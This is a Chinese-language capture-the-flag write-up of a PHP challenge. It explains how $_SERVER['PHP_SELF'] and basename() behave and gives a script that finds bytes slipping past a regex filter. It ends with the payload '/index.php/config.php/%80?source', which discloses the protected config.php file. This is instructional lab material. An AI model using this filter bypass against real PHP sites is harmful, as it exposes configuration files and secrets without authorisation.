不可见字符绕过
打开页面后,点击source,发现源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) { exit("I don't know what you are thinking, but I won't let you read it :)"); }
if (isset($_GET['source'])) { highlight_file(basename($_SERVER['PHP_SELF'])); exit(); }
$secret = bin2hex(random_bytes(64)); if (isset($_POST['guess'])) { $guess = (string) $_POST['guess']; if (hash_equals($secret, $guess)) { $message = 'Congratulations! The flag is: ' . FLAG; } else { $message = 'Wrong.'; } } ?>
|
我们看见这个提示
1
| include 'config.php'; // FLAG is defined in config.php
|
可知,flag在config.php文件中,然后我们看见这一串加密代码
1 2 3 4 5 6 7 8 9 10
| $secret = bin2hex(random_bytes(64)); if (isset($_POST['guess'])) { $guess = (string) $_POST['guess']; if (hash_equals($secret, $guess)) { $message = 'Congratulations! The flag is: ' . FLAG; } else { $message = 'Wrong.'; } }
|
发现只要我们可以绕过这个if
1
| if (hash_equals($secret, $guess))
|
就可以读取flag,但是由于random_bytes(64)是生成加密使用的64长度的加密随机字节字符串,而hash_equals()是匹配两个字符串是否相同,所以发现这个点不可以,但是我们仔细观看preg_match()
1
| preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])
|
$_SERVER[‘PHP_SELF’]
作用是表示php文件相对于网站根目录的位置地址
1 2 3 4 5 6
| 实例:http://url/php/index.php /php/index.php
http://url/php/index.php?test=foo /php/index.php
http://url/php/index.php/test/foo /php/index.php/test/foo
|
而源码中的正则过滤是如果目录路径是以config.php/结尾的话,则会触发过滤,然后我们再看这串代码
1
| highlight_file(basename($_SERVER['PHP_SELF']));
|
basename()
作用是返回路径中文件名部分
1 2 3 4 5 6 7 8 9 10
| <?php
$str1="/index.php/config.php/";
echo basename($str1)."\n";
$str2="/index.php/config.php";
echo basename($str2); ?>
|
所以我们可以使用highlight_file()这个函数和basename()这个函数来读取config.php文件,又因为
1
| if (isset($_GET['source']))
|
要经过上面的if才可以执行
1
| highlight_file(basename($_SERVER['PHP_SELF']));
|
而source参数在index.php文件中,所以在我们构造payload时需要在config.php前加index.php,因为浏览器此时只会解析index.php文件,然后我们需要构造不可见字符在config.php/后面作为结尾,从而绕过正则过滤,而这些不可见字符在baseneme()函数中会被去除掉,所以写了个脚本来获取特殊字符
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php
function check($str){ return preg_match('/config\.php\/*$/i',$str); }
for($i=0;$i<255;$i++){ $s='/index.php/config.php/'.chr($i); if(!check($s)){ $t=basename('/index.php/config.php/'.chr($i)); echo "${i}:${t}\n"; } } ?>
|
将不可见字符的ascii码化为16进制,并在前面加%即可使用,所以我们可以构造payload
1
| /index.php/config.php/%80?source
|
就可以读取config.php文件